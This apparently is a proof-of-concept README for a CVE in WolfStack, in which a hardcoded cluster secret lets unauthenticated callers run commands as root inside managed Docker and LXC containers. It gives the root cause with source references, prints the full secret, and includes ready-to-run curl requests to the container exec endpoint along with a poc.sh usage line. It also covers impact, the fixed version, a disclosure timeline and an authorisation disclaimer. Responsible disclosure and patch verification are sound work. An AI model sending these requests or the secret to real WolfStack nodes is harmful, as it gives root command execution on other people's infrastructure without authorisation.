CVE-2026-73519 — WolfStack Hardcoded Cluster Secret → Unauthenticated RCE

PoC for a hardcoded default authentication secret in WolfStack that lets a remote, unauthenticated attacker run arbitrary commands as root inside any managed Docker/LXC container.

Root cause

src/auth/mod.rs:32 ships a single hardcoded secret baked into every WolfStack build:

const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";

auth::default_secret_accepted() (src/auth/mod.rs:430-460) accepts this constant as a valid credential by default, unless the operator has explicitly opted out (WOLFSTACK_REJECT_DEFAULT_SECRET=1) or already rotated to a custom secret. api::require_auth() (src/api/mod.rs:518-535), the single gate protecting the entire REST API, treats a request carrying a matching X-WolfStack-Secret header as fully authenticated — no session, no API key, no account.

That gate protects POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167), which runs the caller-supplied command string verbatim inside the target container. Anyone who has read the public source (or this repo) can authenticate as a trusted cluster peer and execute arbitrary commands as root in any container the node manages.

The per-install secret auto-generation added this release cycle only fires for nodes with no existing secret file and no recorded peers (src/auth/mod.rs:250-261) — any upgraded node, any node that hits the documented startup race, or any node with an unwritable config path stays on the shared default indefinitely, with only a log-line warning.

Usage

Point TARGET and CONTAINER at a WolfStack instance and container you're authorized to test, then:

./poc.sh http://TARGET:8553 CONTAINER_NAME

Or by hand:

# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"}  HTTP 401

# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" \
  -H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
  -d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"}  HTTP 200

Verified against the genuine, checksum-verified v25.9.0 release binary (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c) with a real alpine:latest container as the target. The container ID in the response output matches docker ps on the victim host.

Impact

• Enumerate every Docker/LXC container on the host (/api/containers/docker, /api/containers/lxc), no auth.
• Run arbitrary commands as root inside any of them via the same header.
• The same bypass reaches every other require_auth-gated route (peer/node management, backups, etc.) — this PoC targets the container-exec sink as the clearest impact, not an exhaustive list.

Fix

Upgrade to v25.9.2 or later. The maintainer flipped the default-secret acceptance to reject-by-default and added a forced rotation path for existing installs.

Disclosure timeline

• 2026-07-31 — Reported to the maintainer via GitHub Security Advisories.
• Maintainer shipped a fix in v25.9.2 / v25.9.3.
• 2026-08-08 — Submitted to VulnCheck for CVE assignment (already-public fast lane).
• 2026-08-16 — CVE-2026-73519 assigned by VulnCheck.

Disclaimer

Published after the fix shipped and the CVE was assigned, for defensive/educational use — verifying patch status on your own infrastructure. Do not run this against systems you don't own or have explicit authorization to test.